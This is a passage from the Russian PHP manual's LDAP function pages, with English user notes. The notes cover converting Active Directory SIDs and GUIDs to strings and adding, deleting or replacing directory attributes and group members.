            $DEC_GROUP['SUB-ID-BLOCKS'][$i] = array();
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][1] = hexdec($hexArray[$offset+3]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][2] = hexdec($hexArray[$offset+2]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][3] = hexdec($hexArray[$offset+1]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][4] = hexdec($hexArray[$offset]);

        }
        $SID = 'S-'.hexdec($hexArray[0]).'-'.$this->byte6ToLong(
            hexdec($hexArray[2]),
            hexdec($hexArray[3]),
            hexdec($hexArray[4]),
            hexdec($hexArray[5]),
            hexdec($hexArray[6]),
            hexdec($hexArray[7])
        );
        foreach ($DEC_GROUP['SUB-ID-BLOCKS'] as $BLOCK) {
            $SID .= '-'.$this->byte4ToLong(
                $BLOCK[1],
                $BLOCK[2],
                $BLOCK[3],
                $BLOCK[4]
            );
        }
        return $SID;

    }

    private function byte6ToLong($b1, $b2, $b3, $b4, $b5, $b6) {
        $byte6ToLong = $b1;
        $byte6ToLong = $byte6ToLong*256 + $b2;
        $byte6ToLong = $byte6ToLong*256 + $b3;
        $byte6ToLong = $byte6ToLong*256 + $b4;
        $byte6ToLong = $byte6ToLong*256 + $b5;
        $byte6ToLong = $byte6ToLong*256 + $b6;
        return $byte6ToLong;
    }

    private function byte4ToLong($b1, $b2, $b3, $b4) {
        $byte4ToLong = $b1;
        $byte4ToLong = $byte4ToLong*256 + $b2;
        $byte4ToLong = $byte4ToLong*256 + $b3;
        $byte4ToLong = $byte4ToLong*256 + $b4;
        return $byte4ToLong;
    }

}

TEST:

$sr=ldap_search($conn, $base_dn, $filter,$fields);
$entry = ldap_first_entry($conn, $sr);
$objectsid_binary = ldap_get_values_len($conn, $entry, "objectsid");

$Obj = new LDAP_OBJECT_SID();
echo $Obj->toString($objectsid_binary[0]);
gizmotronic at gmail dot com 24-Jul-2015 04:30
Revisiting the question of converting a binary objectGUID to a string, there's a simpler method that doesn't involve a lot of string manipulation:

function GUIDtoStr($binary_guid) {
  $unpacked = unpack('Va/v2b/n2c/Nd', $binary_guid);
  return sprintf('%08X-%04X-%04X-%04X-%04X%08X', $unpacked['a'], $unpacked['b1'], $unpacked['b2'], $unpacked['c1'], $unpacked['c2'], $unpacked['d']);
}

You can of course replace "X" with "x" in the sprintf format string if you prefer lower-case hex digits.
ashwini at majestik dot net 09-Apr-2013 10:52
Just a minor update to the note below from "jhgustafsson" regarding the "objectGUID" field...

Going a step further, sometimes its useful to display this GUID as a String, and Microsoft has a support article and script detailing how to convert objectGUID from Hex to String. That article is here: http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B325649

Below is a PHP function that does the same thing as Microsoft's VB script, it takes input of objectGUID in binary format and returns it formatted as a string (after converting it to Hex as a middle step). This will return the exact "objectGUID" value that is displayed for any Active Directory object in ADUC.

Example output: 3f79048f-42cd-4c77-8426-835cd9f8a3ad

function GUIDtoStr($binary_guid) {
  $hex_guid = unpack("H*hex", $binary_guid);
  $hex = $hex_guid["hex"];

  $hex1 = substr($hex, -26, 2) . substr($hex, -28, 2) . substr($hex, -30, 2) . substr($hex, -32, 2);
  $hex2 = substr($hex, -22, 2) . substr($hex, -24, 2);
  $hex3 = substr($hex, -18, 2) . substr($hex, -20, 2);
  $hex4 = substr($hex, -16, 4);
  $hex5 = substr($hex, -12, 12);

  $guid_str = $hex1 . "-" . $hex2 . "-" . $hex3 . "-" . $hex4 . "-" . $hex5;

  return $guid_str;
}
Stav 21-Apr-2011 05:38
I had a lot of issues with decoding errors using ldap_get_values_len() and found a of unanswered calls for help on a lot of forums.

The error message is - Warning: ldap_get_values(): Cannot get the value(s) of attribute Decoding error in xxx.php.

It appears that this error seems to cover a multitude sins including simple typos in the attribute name.

After using PHP to list the attributes of a particular record I noticed that the attribute userCertificate wasn't listed simply as userCertificate but userCertificate;binary instead.  I wrote this into my code and all was fixed.

So my code looks as follows.

<?php
        if (!$val = @ldap_get_values_len($con, $entry, "$attribute;binary"))
                die ('Error retrieving value (' . ldap_error($con) . ')');
?>

I hope this saves someone the pain I went through trawling Google for an answer.
jhgustafsson at gmail dot com 02-Jun-2009 03:07
Tried a couple of different ways to do this but this seems to work best:

<?php
$info = ldap_first_entry($ds,$sr);

// get it binary-safe.
$bin_guid = ldap_get_values_len($ds,$info,"objectguid");

// convert to hex, bin2hex failed here for me. Unpack() seems to work though.
$hex_guid = unpack("H*hex", $bin_guid[0]);
?>
alexey_baranov at inbox dot ru 02-Apr-2009 04:26
no more need to use ldap_get_values_len (). ldap_get_attributes() works well now.

<?php
$attrs = ldap_get_attributes($this->cid, $this->re);
$hex_Sid= bin2hex($attrs['objectSid'][0]); //returns 010500000000000515000000c94d7d363d787b17e77b80109d060000
$hex_GUID= bin2hex($attrs['objectGUID'][0]); //returns 710234bbc2abc148ade8c1f9b4567b24
?>
derek dot ethier at gmail dot com 07-Mar-2007 11:25
One more function to add that complements the bin_to_str_guid function I posted below:

// This function will convert a string GUID value into a HEX value to search AD.
function str_to_hex_guid($str_guid) {
    $str_guid = str_replace('-', '', $str_guid);

    $octet_str = substr($str_guid, 6, 2);
    $octet_str .= substr($str_guid, 4, 2);
    $octet_str .= substr($str_guid, 2, 2);
    $octet_str .= substr($str_guid, 0, 2);
    $octet_str .= substr($str_guid, 10, 2);
    $octet_str .= substr($str_guid, 8, 2);
    $octet_str .= substr($str_guid, 14, 2);
    $octet_str .= substr($str_guid, 12, 2);
    $octet_str .= substr($str_guid, 16, strlen($str_guid));

    return $octet_str;
}

If you want to convert the string GUID back to the HEX format (required if you want to search AD based on the GUID string, make sure you escape the HEX string with double backslashes when searching -- ie. \\AE\\0F\\88...).
derek dot ethier at gmail dot com 12-Feb-2007 07:49
To elaborate on rcrow's post, if you want to convert the objectSID value to a usable string (from Active Directory) the following function will do the trick (this was borrowed from another section of the manual, just thought I'd add it here):

// Returns the textual SID
function bin_to_str_sid($binsid) {
    $hex_sid = bin2hex($binsid);
    $rev = hexdec(substr($hex_sid, 0, 2));
    $subcount = hexdec(substr($hex_sid, 2, 2));
    $auth = hexdec(substr($hex_sid, 4, 12));
    $result    = "$rev-$auth";

    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] =
            hexdec($this->little_endian(substr($hex_sid, 16 + ($x * 8), 8)));
        $result .= "-" . $subauth[$x];
    }

    // Cheat by tacking on the S-
    return 'S-' . $result;
}

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function little_endian($hex) {
    for ($x = strlen($hex) - 2; $x >= 0; $x = $x - 2) {
        $result .= substr($hex, $x, 2);
    }
    return $result;
}

This function is not related to the ldap_get_values_len function but is still helpful if you want to convert the objectGUID binary value to a string format (converted from some vbscript provided by Richard Mueller):

// This function will convert a binary value guid into a valid string.
function bin_to_str_guid($object_guid) {
    $hex_guid = bin2hex($object_guid);
    $hex_guid_to_guid_str = '';
    for($k = 1; $k <= 4; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 8 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 12 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 16 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 16, 4);
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 20);

    return strtoupper($hex_guid_to_guid_str);
}

Here's an example on how to use both:

$filter="samaccountname=".$username;
$fields=array("objectguid","objectsid");

//establish the connection and specify the base_dn first. there are a lot of examples in the manual for this

$sr=ldap_search($this->_conn,$this->_base_dn,$filter,$fields);
$entries = ldap_get_entries($this->_conn, $sr);

if (in_array("objectguid", $fields)) {
    $entries[0]["objectguid"][0]=
        $this->bin_to_str_guid($entries[0]["objectguid"][0]);
}

if (in_array("objectsid", $fields)) {
    $entry = ldap_first_entry($this->_conn, $sr);
    $objectsid_binary = ldap_get_values_len($this->_conn, $entry, "objectsid");
    $entries[0]["objectsid"][0] = $this->bin_to_str_sid($objectsid_binary[0]);
}

Hope this helps someone!
rcrow at NOSPAM dot laptv dot com 29-Apr-2004 05:06
If you are trying to access BINARY DATA, such as ObjectSID within LDAP, you must first get an individual entry, as stated under ldap_get_values() function -- "This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry."

The following code snippet will get the LDAP objectSID for a specific user.

<?php
/* Get the binary objectsid entry                                           */
/* Be sure that you have included the binary field in your ldap_search.    */
$criteria =  "samaccountname=$ldapUser";
$justthese = array("memberOf", "objectsid");

$ldapSearchResult = ldap_search($ldapConnectionResult, $ldapBase, $criteria, $justthese);

if (ldap_count_entries($ldapConnectionResult, $ldapSearchResult)){
     $ldapResults = ldap_get_entries($ldapConnectionResult, $ldapSearchResult);

   $entry = ldap_first_entry($ldapConnectionResult, $ldapSearchResult);
   $ldapBinary = ldap_get_values_len ($ldapConnectionResult, $entry, "objectsid");

/* your code here */

}
?>

You then can use something like bin2hex to put the data in a more usable form.


Получает все значения из записи результата

  • « ldap_get_values_len
  • ldap_list »
  • PHP Manual
  • Функции LDAP
  • Получает все значения из записи результата

ldap_get_values

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_values — Получает все значения из записи результата

Описание

ldap_get_values(LDAP\Connection $ldap, LDAP\ResultEntry $entry, string $attribute): array|false

Читает все значения атрибута в записи результата.

Эта функция требует entry, а следовательно, перед ней должны быть запущена одна из функций ldap поиска и один из результатов их вызова для получения отдельной записи.

В создаваемом приложении необходимо будет использовать сложные конструкции для поиска определённых атрибутов (таких как "фамилия" или "почта") или необходимо будет использовать функцию ldap_get_attributes(), чтобы разобрать, какие атрибуты существуют для данной записи.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

attribute

Возвращаемые значения

Возвращает массив значений для атрибута в случае успешного выполнения или false в случае возникновения ошибки. Число значений может быть найдено по индексу "count" в результирующем массиве. Отдельные значения могут быть доступны по целочисленным индексам в массиве. Первый индекс 0.

LDAP позволяет хранить больше чем одну запись для атрибута, таким образом, можно, например, сохранить много адресов электронной почты для записи каталога одного человека, все маркированные атрибутом "mail"

     return_value["count"] = число значений атрибута
     return_value[0] = первое значение атрибута
     return_value[i] = i-ое значение атрибута

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.

Примеры

Пример #1 Список всех значений атрибута "mail" для записи каталога

<?php
// $ds допустимый экземпляр LDAP\Connection

// $sr верный результат поиска в директории ldap

// $entry верный идентификатор записи из вызова функции
// вернувшей запись директории

$values = ldap_get_values($ds, $entry, "mail");

echo $values["count"] . " адреса email для этой записи.<br />";

for ($i=0; $i < $values["count"]; $i++) {
echo $values[$i] . "<br />";
}
?>

Смотрите также

  • ldap_get_values_len() - Получить все бинарные значения из записи результата

User Contributed Notes

viper_sb at IGETTOMUCHSPAMhotmail dot com 25-Mar-2003 06:24
Well this took me a while to find the problem, so I'm posting in case someone else runs in to this.

$sr = ldap_search($ds, "cn=me", "(objectclass=*)");
$entry = ldap_first_entry($ds, $sr);
do {
  // do other stuff
  $sr = "something else now";
  $values = ldap_get_values($ds, $entry, "attirib1");
  // do other stuff
} while ($entry = ldap_next_entry($ds, $entry));

If you change the search resource $sr to something else even though it's not used again it will kill the page it'll be a blank page and if you view the code you'll get different things depending on something no idea what.

This kepted happening I had forgotten I had used $sr so I was using it again and it would just not show the page whenever I used ldap_get_values, if this is a feature it would be nice to know. I haven't seen it happen with other functions.
software at inebria dot com 21-Jun-2001 10:34
It wasn't immediately obvious to me that the ldap_get_values function does not work with binary data - only strings.  If you fetch binary data with ldap_get_values you don't get a warning - just some trash.  For binary data you have to use ldap_get_values_len.


Одноуровневый поиск

  • « ldap_get_values
  • ldap_mod_add_ext »
  • PHP Manual
  • Функции LDAP
  • Одноуровневый поиск

ldap_list

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_list — Одноуровневый поиск

Описание

ldap_list(
LDAP\Connection|array $ldap,
array|string $base,
array|string $filter,
array $attributes = [],
int $attributes_only = 0,
int $sizelimit = -1,
int $timelimit = -1,
int $deref = LDAP_DEREF_NEVER,
?array $controls = null
): LDAP\Result|array|false

Выполняет поиск для указанного filter в директории в рамках LDAP_SCOPE_ONELEVEL.

LDAP_SCOPE_ONELEVEL означает, что поиск должен возвратить только информацию, которая является следующим уровнем ниже base, заданного при вызове. (Эквивалент вводу "ls" и получения списка файлов и папок в текущем рабочем каталоге.)

Также можно выполнять параллельный поиск. В этом случае первым аргументом должен быть массив экземпляров LDAP\Connection, а не один экземпляр. Если поиск не должен использовать один и тот же базовый DN и фильтр, в качестве аргументов можно передать массив базовых DN и/или массив фильтров. Количество элементов в массивах должно совпадать с количеством экземпляров LDAP\Connection, поскольку первые записи массивов используются для одного поиска, вторые — для другого и так далее. При параллельном поиске возвращается массив экземпляров LDAP\Result, за исключением возникновения ошибки, когда возвращается значение false.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

base

Базовое DN для каталога.

filter

attributes

Массив необходимых атрибутов, например, array("mail", "sn", "cn"). Обратите внимание, что "dn" возвращается всегда, независимо от того, какие типы атрибутов требуются.

Использование этого параметра намного более эффективно чем действие по умолчанию (которое должно возвратить все атрибуты и их присвоенные значения). Поэтому использование этого параметра нужно считать хорошей практикой.

attributes_only

Должен быть равен 1, только если требуются типы атрибута. Если установлено 0, то, по умолчанию, выбираются и типы атрибутов и значения атрибута.

sizelimit

Позволяет ограничить количество выбранных записей. Установка этого параметра как 0 означает, что ограничение отсутствует.

Замечание:

Этот параметр НЕ может переопределять предустановку sizelimit на стороне сервера. Хотя его можно установить ниже.

Некоторые хосты серверов каталогов будут сконфигурированы так, чтобы возвратить не больше, чем предварительно установленное число записей. Если это произойдёт, то сервер укажет, что возвратил только частичный набор результатов. Это также происходит, если Вы используете этот параметр, чтобы ограничить количество выбранных записей.

timelimit

Устанавливает число секунд, ограничивающее процесс поиска. Установка этого параметра как 0 означает, что ограничение отсутствует.

Замечание:

Этот параметр НЕ может переопределять предустановку timelimit на стороне сервера. Хотя его можно установить ниже.

deref

Определяет, как псевдонимы должны быть обработаны во время поиска. Может быть одним из следующих:

  • LDAP_DEREF_NEVER - (по умолчанию) псевдонимы никогда не разыменовываться.
  • LDAP_DEREF_SEARCHING - псевдонимы должны быть разыменованы во время поиска, но не при определении местоположения базового объекта поиска.
  • LDAP_DEREF_FINDING - псевдонимы должны быть разыменованы при определении местоположения базового объекта, но не во время поиска.
  • LDAP_DEREF_ALWAYS - псевдонимы должны всегда разыменовываться всегда.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает экземпляр LDAP\Result, массив экземпляров LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примеры

Пример #1 Выводит список всех организационных единиц организации

<?php
// $ds допустимый экземпляр LDAP\Connection

$basedn = "o=My Company, c=US";
$justthese = array("ou");

$sr = ldap_list($ds, $basedn, "ou=*", $justthese);

$info = ldap_get_entries($ds, $sr);

for ($i=0; $i < $info["count"]; $i++) {
echo $info[$i]["ou"][0];
}
?>

Смотрите также

  • ldap_search() - Поиск по LDAP дереву

User Contributed Notes

There are no user contributed notes for this page.


Добавить значения атрибута к текущим атрибутам

  • « ldap_list
  • ldap_mod_add »
  • PHP Manual
  • Функции LDAP
  • Добавить значения атрибута к текущим атрибутам

ldap_mod_add_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_add_ext — Добавить значения атрибута к текущим атрибутам

Описание

ldap_mod_add_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Делает то же самое, что и ldap_mod_add(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_mod_add()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Смотрите также

  • ldap_mod_add() - Добавить значения атрибута к текущим атрибутам
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Добавить значения атрибута к текущим атрибутам

  • « ldap_mod_add_ext
  • ldap_mod_del_ext »
  • PHP Manual
  • Функции LDAP
  • Добавить значения атрибута к текущим атрибутам

ldap_mod_add

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_add — Добавить значения атрибута к текущим атрибутам

Описание

ldap_mod_add(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Добавляет один или более атрибутов к указанному dn. Для добавления полноценного нового объекта используйте ldap_add().

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Отличительное имя LDAP-объекта.

entry

Ассоциативный массив со списком добавляемых значений атрибутов. Если какой-либо атрибут ещё не существует, то он будет добавлен. Если атрибут уже существует, то вы можете только добавить к нему значение, если он поддерживает множественные значения.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • ldap_mod_add_ext() - Добавить значения атрибута к текущим атрибутам
  • ldap_mod_del() - Удалить значения атрибута из текущих атрибутов
  • ldap_mod_replace() - Заменить значения атрибутов на новые
  • ldap_modify_batch() - Формирования и запуск пакетного изменения записи LDAP

User Contributed Notes

bart-holland at wedefo dot nl 06-Nov-2013 03:44
Adding a user to a group in Apple's OpenDirectory goes as follows:

<?php

$dn = "cn=groupname,cn=groups,dc=example,dc=com";
$entry['memberuid'] = "username";

ldap_mod_add($connect, $dn, $entry);

?>
theiderich AT laweekly dot com 15-Jul-2005 03:17
When adding/editing attributes for a user, the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
Claudio Lente <nelchael at ig dot com dot br> 26-Feb-2003 02:03
Using PHP 4.2.3 with IIS 5 and Win2k Server. My confs are:

$ldap_srvr = 'servername' ;
$ldap_port = 389;
$ldap_con = ldap_connect($ldap_srvr, $ldap_port);
$ldap_rdn  = "username";
$ldap_pwd = "__password__";

$ldap_vbind = ldap_bind($ldap_con, $ldap_rdn, $ldap_pwd);

$base_dn= 'CN=username,CN=Users,DC=domain,DC=org,DC=us
' ;
$ldap_filter= 'objectClass=*';

$info['mail']='username@domain.org.us';

ldap_mod_add($ldap_con, $base_dn, $info);
ldap_add($ldap_con, $base_dn, $info);

this generate an error:
- Warning: LDAP: modify operation could not be completed. in

ldap_modify($ldap_con, $base_dn, $info);

this function corretly.

It?s all.
JoshuaStarr at aelana dot com 30-Aug-2001 10:52
To add a new attribute with a single value:

$entry[mail] = "newmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);

To add a new attribute with multiple values:

$entry[mail][] = "newmail@aelana.com";
$entry[mail][] = "altnewmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);


Удалить значения атрибутов из текущих атрибутов

  • « ldap_mod_add
  • ldap_mod_del »
  • PHP Manual
  • Функции LDAP
  • Удалить значения атрибутов из текущих атрибутов

ldap_mod_del_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_del_ext — Удалить значения атрибутов из текущих атрибутов

Описание

ldap_mod_del_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Делает то же самое, что и ldap_mod_del(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_mod_del()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Смотрите также

  • ldap_mod_del() - Удалить значения атрибута из текущих атрибутов
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Удалить значения атрибута из текущих атрибутов

  • « ldap_mod_del_ext
  • ldap_mod_replace_ext »
  • PHP Manual
  • Функции LDAP
  • Удалить значения атрибута из текущих атрибутов

ldap_mod_del

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_del — Удалить значения атрибута из текущих атрибутов

Описание

ldap_mod_del(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Удаляет один или более атрибутов из указанного dn. Удаление объектов осуществляется функцией ldap_delete().

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Отличительное имя LDAP-объекта.

entry

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Смотрите также

  • ldap_mod_del_ext() - Удалить значения атрибутов из текущих атрибутов
  • ldap_mod_add() - Добавить значения атрибута к текущим атрибутам
  • ldap_mod_replace() - Заменить значения атрибутов на новые
  • ldap_modify_batch() - Формирования и запуск пакетного изменения записи LDAP

User Contributed Notes

gsgleason at gmail dot com 26-Jan-2015 08:03
To remove all of a particular attribute, feed it an empty array.

For example, to remove all members from a group:

<?php
ldap_mod_del($ldapconn,$groupDN,array("member" => array()));
?>
bart-holland at wedefo dot nl 07-Nov-2013 03:27
Te remove a user from a group in Apple's Open Directory, you need to also remove the members generated uid from the group.

Removing the users is as follows:

<?php

//setting variables
$ldapDN = "uid=myadmin,cn=users,dc=myserver,dc=com';
$ldapPass = "somepass";

$groupDn = 'cn=mygroup,cn=groups,dc=myserver,dc=com'
$removal = array(
    "memberuid"=>"username",
    "apple-group-memberguid"=>"846DE847-D73D-428D-83A8-B95B606C511B"
);

//connect and bind
$ldapconnect = ldap_connect("myserver.com",389);
ldap_bind($ldapconnect, $ldapDN, $ldapPass);

//removing member from group
ldap_mod_del($ldapconnect, $groupDn, $removal);

//unbind
ldap_unbind($ldapconnect);

?>
jonatam dot ribeiro at hotmail dot com 07-May-2013 02:44
We often need to delete "objectclass" below follows a simple code to make this successful removal.

$userdataModifydelSamba = array();
$userdataModifydelSamba['objectClass'] = array();
$userdataModifydelSamba['objectClass'][0] = 'sambaSamAccount';

$userdataModifydelSamba['sambasid'] = array();
$userdataModifydelSamba['sambantpassword'] = array();
$userdataModifydelSamba['sambahomedrive'] = array();
$userdataModifydelSamba['sambadomainname'] = array();
$userdataModifydelSamba['sambaacctflags'] = array();
$userdataModifydelSamba['sambaprimarygroupsid'] = array();
$userdataModifydelSamba['sambapwdlastset'] = array();

$sucess = @ldap_mod_del($connection, $dn, $result);
if(!$sucess)
{
   throw new Exception("error " . ldap_err2str(ldap_errno($connection)));
}
06-Apr-2006 08:35
For anyone interested in removing a user from a group, you can use ldap_mod_del() as follows:

$group = 'CN=mygroup,OU=myOU,DC=mydomain,DC=com';

$group_info['member'] = 'CN=User\, Test,CN=Users,DC=mydomain,DC=com';

ldap_mod_del($ldap, $group, $group_info);

I have tested this using Active Directory on a Win 2K3 server.
thomas dot thiel at tapgmbh dot com 09-Dec-2002 08:42
and please don't forget:
you can't delete all attributes, when at least one is required.
JoshuaStarr at aelana dot com 13-May-2002 10:24
The above example has also been proven to work in the iPlanet / Sun One Directory Server 5.0/5.1. As an example:

$attrs["mail"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

or

$attrs["mail"] = array();
$attrs["telephonenumber"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

This will remove all occurences of attributes in the entry specified by the dn.
ral at royal dot net 30-Aug-2001 08:09
At least with OpenLDAP 1.2.x
to remove an attribute regardless of it's value you have to assign:

$attrs["AttributeName"]=array();

after ldap_mod_del($ds,$dn,$attrs)
all occurences of AttributeName will be removed
ral at royal dot net 22-Jul-2001 10:33
To remove all instances of an attribute:

$entry["attrname"][]="value1";
$entry["attrname"][]="value2";
...
$entry["attrname"][]="valueN";

ldap_mod_del($ds, $dn, $entry);
twopairs at solfy dot com 22-Jul-2001 05:05
<pre>
uid: testuser
mail: testuser@test.net
mail: testuser@somewhere.com
</pre>

How to remove the values of mail so that only the second value for mail exists:

<pre>
$entry["mail"] = "testuser@test.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

if you want to remove all instances of an attribute.....
==>
<pre>
$entry["mail"][0] = "testuser@test.net";
$entry["mail"][1] = "testuser@somewhere.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

are not?
sam_freund at yahoo dot com 05-Dec-2000 12:11
Using ldap_modify with a blank string works if you aren't propagating your LDAP database, even though it returns the error. Still, I'd say don't do it, as it smacks of something that will be fixed in a future version.
mark at cushman dot net 20-Nov-2000 09:17
I have found that the syntax:

$entry["mail"] = "";

Will NOT delete the mail attribute using the OpenLDAP server.  You must specify the attribute value to delete it successfully, otherwise you will recieve an "Invalid Syntax" error from the server.

The error: "Inappropriate Matching" will be displayed if the attribute you are trying to delete has no equality rule in the schema.  I had a problem deleting the attribute facsimilieTelephoneNumber, and it was because my core.schema file did not have an EQUALITY definition for that attribute.  I copied the telephoneNumber EQUALITY rule and it worked perfectly.
arjanw at bigfoot dot com 08-Aug-2000 11:15
To remove all instances of an attribute you can use ldap_modify with an empty value for that attribute.

$entry["mail"] = "";
$result = ldap_modify($connID, $dn, $entry);
arimus at apu dot edu 27-Apr-2000 07:35
After a couple hours of searching and not finding anything on the ldap_mod_del function worth anything, I started trying to figure out myself what format the "array entry" parameter needed to be in.  Here is what I found:

The entry array is a hash with the attribute name as the hash key and the specific value you want deleted for that attribute as the corresponding hash value.

-- Example

Current values for the attributes of of a particular entry:

     uid: testuser
     mail: testuser@test.net
     mail: testuser@somewhere.com

How to remove the first value of mail so that only the second value for mail exists:

     $entry["mail"] = "testuser@test.net";
     $result = ldap_mod_del($connID, $dn, $entry);

So if you want to remove all instances of an attribute, you have to do it one by one.


Заменить значения атрибута на новые

  • « ldap_mod_del
  • ldap_mod_replace »
  • PHP Manual
  • Функции LDAP
  • Заменить значения атрибута на новые

ldap_mod_replace_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_mod_replace_ext — Заменить значения атрибута на новые

Описание

ldap_mod_replace_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Делает то же самое, что и ldap_mod_replace(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_mod_replace()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Смотрите также

  • ldap_mod_replace() - Заменить значения атрибутов на новые
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Заменить значения атрибутов на новые

  • « ldap_mod_replace_ext
  • ldap_modify_batch »
  • PHP Manual
  • Функции LDAP
  • Заменить значения атрибутов на новые

ldap_mod_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_mod_replace — Заменить значения атрибутов на новые

Описание

ldap_mod_replace(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Заменяет один или более атрибутов из указанного dn. Также её можно использовать для удаления или добавления атрибутов.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Отличительное имя LDAP-объекта.

entry

Ассоциативный массив со списком заменяемых атрибутов. Если задать пустой массив, то атрибут будет удалён. Если какой либо атрибут отсутствует, то он будет добавлен.

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
